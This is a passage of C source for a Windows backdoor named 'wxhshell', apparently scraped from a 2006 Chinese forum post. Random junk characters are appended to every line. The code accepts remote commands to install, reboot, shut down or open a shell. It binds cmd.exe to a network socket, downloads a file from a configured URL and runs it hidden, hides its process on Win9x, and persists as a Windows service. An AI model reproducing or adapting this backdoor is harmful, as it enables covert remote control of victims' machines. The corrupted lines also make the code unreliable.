  // 帮助 n}Z%D-b$  
  case '?': { [ft6xI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n^[a}DX0  
    break; V"4L=[le  
  } }V] b4t  
  // 安装 Y[7prjd  
  case 'i': { H[KX xNYZ_  
    if(Install()) tP|/Q 5s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jp"29 )w  
    else xW)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Ty]s~  
    break; QO;Dyef7b  
    } BT [|f[1  
  // 卸载 f u\j  
  case 'r': { m@+v6&,  
    if(Uninstall()) `"CA$Se8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GZaB z#U  
    else xbCR4upS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t jThQ  
    break; V6dq8Z"h  
    } y$7Ys:R~  
  // 显示 wxhshell 所在路径 %_s)Gw&sq  
  case 'p': { <MG&3L.[  
    char svExeFile[MAX_PATH]; D1y`J&A>Q  
    strcpy(svExeFile,"\n\r"); -hnNa A  
      strcat(svExeFile,ExeFile); G)s.~ T  
        send(wsh,svExeFile,strlen(svExeFile),0); <1I4JPh>x  
    break; f{VV U/$  
    } |Yw k  
  // 重启 6inAnC@I  
  case 'b': { xT&~{,9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .\$A7DD+A  
    if(Boot(REBOOT)) O1o>eDE5A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &Pme4IHtm  
    else { 5 OWyxO3{  
    closesocket(wsh); P@UE.0NYX  
    ExitThread(0); ~ `}),aA  
    } 0 ^>,  
    break; H}GGUE&c*  
    } &mtt,]6C_  
  // 关机 \12G,tBH  
  case 'd': { {?lndBP<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z**2-4 z  
    if(Boot(SHUTDOWN)) }d; 2[fR)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ejHM}w3,  
    else { tm5{h{AM  
    closesocket(wsh); T=YVG@fm?  
    ExitThread(0); '9u?lA^9$  
    } jA9uB.I,"b  
    break; ~-vCY  
    } AmIW$(Ce  
  // 获取shell E'4Psx9: =  
  case 's': { yC$m(Y12FN  
    CmdShell(wsh); Q SF0?Puf  
    closesocket(wsh); rtAPkXJFM  
    ExitThread(0); >(P(!^[f  
    break; lv/im/]v  
  } RYCiO,+  
  // 退出 j17h_ a;  
  case 'x': { vW eg1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =cV|o]  
    CloseIt(wsh); Z4Q]By:/L  
    break; %2dzx[s  
    } u3qx G3  
  // 离开 `,SL\\%u  
  case 'q': { ,*W~M&n"m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,&@GxiU  
    closesocket(wsh); *_I`{9~'  
    WSACleanup(); |Io:D:  
    exit(1); U)f('zD  
    break; j"6|$Ze8  
        } #b*4v&<  
  } jC[_uG  
  } Q(-&}cY  
:qxWANUa  
  // 提示信息 cdkEK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  &ox  
} +pG+ xI  
  } V/H+9+B7Im  
2F*>&n&Db7  
  return; 'd Be,@  
}  ^cw9Yjh6  
v|~=rvXFC  
// shell模块句柄 3m75mny  
int CmdShell(SOCKET sock) Nzgi)xX0HX  
{ v\|jkzR5Y  
STARTUPINFO si; `w#VYs|k  
ZeroMemory(&si,sizeof(si)); nxV!mh_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \{ | GK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0<v5_ pB  
PROCESS_INFORMATION ProcessInfo; PP$2s]{  
char cmdline[]="cmd"; .n8O 3V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +&)/dHbL`]  
  return 0; #z>I =gl  
} Pl/Xh03E  
*K_8=TIA*  
// 自身启动模式 0IqGy}+VU  
int StartFromService(void) d6*84'|!  
{ mW!n%f  
typedef struct <eMqg u  
{ V-#JV@b  
  DWORD ExitStatus; RiAg:  
  DWORD PebBaseAddress; rfVQX<95=/  
  DWORD AffinityMask; |dEPy- Xe  
  DWORD BasePriority; .gfi9J  
  ULONG UniqueProcessId; )nf%S+KV  
  ULONG InheritedFromUniqueProcessId; ?" 4X&6xl  
}   PROCESS_BASIC_INFORMATION; 8y6dT  
*#>(P  
PROCNTQSIP NtQueryInformationProcess; pLe4dz WA  
D~ 3@v+d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eE'>kP}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -4+'(3qr  
&&l ZUR,`  
  HANDLE             hProcess; *cM=>3ws/  
  PROCESS_BASIC_INFORMATION pbi; uQH]  
0J/yd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _!zc <&~I  
  if(NULL == hInst ) return 0; +`wr{kB$~  
UfPB-EFl$D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k0=!%f_G!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0qNmao4E_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wxcJ2T dH  
J'|[-D-a  
  if (!NtQueryInformationProcess) return 0; ;"IWm<]h;-  
8tSY|ME  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _Jg#T~  
  if(!hProcess) return 0; 0~ nCT&V  
Z<>gx m<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7r?,wM  
][l5S*CC_  
  CloseHandle(hProcess); GC# [&>L  
J?TCP%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Xh}q/H<  
if(hProcess==NULL) return 0; USEmD5q  
!VIxEu^ke  
HMODULE hMod; }iDRlE,  
char procName[255]; C ibfuR  
unsigned long cbNeeded; H0inU+Ih  
|)To 0Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MkFWZ9c3  
3HXeBW  
  CloseHandle(hProcess); Txo{6nd/  
ZiY2N*,VO  
if(strstr(procName,"services")) return 1; // 以服务启动 $:5h5Y#z  
zUJXA:L9  
  return 0; // 注册表启动 p*jU)@a0  
} :_i1gY)  
5P #._Em  
// 主模块 T_2'=7  
int StartWxhshell(LPSTR lpCmdLine) yn ofDGAf  
{ uY)4y0  
  SOCKET wsl; 7Fpa%N/WL  
BOOL val=TRUE; 2X' H^t]7  
  int port=0; )M Iw/  
  struct sockaddr_in door; HLz<C  
ha|2u(4  
  if(wscfg.ws_autoins) Install(); \mu';[gLd  
vM5I2C3_>!  
port=atoi(lpCmdLine); @=w)a  
{(-923|,  
if(port<=0) port=wscfg.ws_port; 0y<9JvN$9  
9Oj b~  
  WSADATA data; ,9 ^ 5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [wSoZBl  
U7fpaxc-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v,ecNuy*d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @>U9CL"  
  door.sin_family = AF_INET; wH@< 0lw`<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z\C"/j<y  
  door.sin_port = htons(port); jo"+_)]  
jN{k }  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i: -IZL\  
closesocket(wsl); 7ojh=imY  
return 1; qDswFs(  
} !-qk1+<h  
o"RE4s\G~r  
  if(listen(wsl,2) == INVALID_SOCKET) { YRZw|H{>t  
closesocket(wsl); Bz ,D4 E$  
return 1; p=[dt  
} 7Y~5gn  
  Wxhshell(wsl); R-n%3oh  
  WSACleanup(); 7>7n|N  
g-#eMQ%J  
return 0; n}Thc6f3D  
Rq(+zL(f  
} +>it u J  
;w%g*S  
// 以NT服务方式启动 q{*[uJ}Xc"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L  ~Vw`C  
{ V^qBbk%l>D  
DWORD   status = 0; :/? Op  
  DWORD   specificError = 0xfffffff; /:A239=+?  
gjT`<CW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oIE(`l0l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y'f-4E<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }1CO>a<  
  serviceStatus.dwWin32ExitCode     = 0; hHw1<! M  
  serviceStatus.dwServiceSpecificExitCode = 0; 8_>:0(y  
  serviceStatus.dwCheckPoint       = 0; u (r T2  
  serviceStatus.dwWaitHint       = 0; WR.7%U';  
Zq1> M'V;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UBM8l  
  if (hServiceStatusHandle==0) return; .O~rAu*K  
=fBr2%qK  
status = GetLastError(); ,t1s#*j\!q  
  if (status!=NO_ERROR) +A,cdi9z  
{ z&GGa`T"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mNe908Yw  
    serviceStatus.dwCheckPoint       = 0; m|cRj{xZF  
    serviceStatus.dwWaitHint       = 0; 3s:)CXO  
    serviceStatus.dwWin32ExitCode     = status; <C"}OW8  
    serviceStatus.dwServiceSpecificExitCode = specificError; gcX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]]V=\.y  
    return;  h;K9}w  
  } uTbMp~cYB  
$\4Or  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c$A}mL_  
  serviceStatus.dwCheckPoint       = 0; /KvpJ4  
  serviceStatus.dwWaitHint       = 0; TKw>eGe  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z-U3Tr SI  
} Grd9yLF  
`n|k+tsC  
// 处理NT服务事件,比如:启动、停止 IfRrl/!nw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %ULd_ES^  
{ ?K}KSJ6_  
switch(fdwControl) JLyFk V/  
{ OK}8BY  
case SERVICE_CONTROL_STOP: gJOswN;([  
  serviceStatus.dwWin32ExitCode = 0; )[sSCt]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #@5 jOi  
  serviceStatus.dwCheckPoint   = 0; CA"`7<,  
  serviceStatus.dwWaitHint     = 0; &E k\  
  { wAb_fU&*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y7*^H  
  } |("5 :m  
  return; hW c M.  
case SERVICE_CONTROL_PAUSE: NX+ eig</-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;rF:$37^  
  break; I#p-P)Q%S  
case SERVICE_CONTROL_CONTINUE: )./'RE+(k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A,ao2)  
  break; Q([g1?F9*  
case SERVICE_CONTROL_INTERROGATE: ~ YZi"u  
  break; 8>:2li  
}; GWShv\c}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q;1$gImFz  
} }Ty_ } 6a5  
DNM~/Oo  
// 标准应用程序主函数 1G8t=IA%D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b;|^62  
{ eP3 itrH(  
~Uz|sQ*G  
// 获取操作系统版本 :TWHmxch  
OsIsNt=GetOsVer(); }S&SL)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L/cbq*L  
[c6_6q As  
  // 从命令行安装 Fn%:0j  
  if(strpbrk(lpCmdLine,"iI")) Install(); Md m(xUs  
}@A~a`9g  
  // 下载执行文件 .~8IW,[  
if(wscfg.ws_downexe) { &9g#Vq%   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *KV] MdS  
  WinExec(wscfg.ws_filenam,SW_HIDE); qdu:kA:]  
} d{GXFT;0  
WI'csM;M#  
if(!OsIsNt) { 4]8PF  
// 如果时win9x,隐藏进程并且设置为注册表启动 z#*GPA8Em:  
HideProc(); kQBVx8Uq]  
StartWxhshell(lpCmdLine); 1r w>gR  
} qOa-@MN  
else oq<#  
  if(StartFromService()) IWpUbD|kC  
  // 以服务方式启动  Q{Bj(f  
  StartServiceCtrlDispatcher(DispatchTable); ||,;07  
else &c@I4RV|q  
  // 普通方式启动 TT&!WbA-Hk  
  StartWxhshell(lpCmdLine); o_$r*Z|HG  
RMrt4:-DI  
return 0; !! K=v7M  
}
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只看该作者 1 发表于: 2006-10-10
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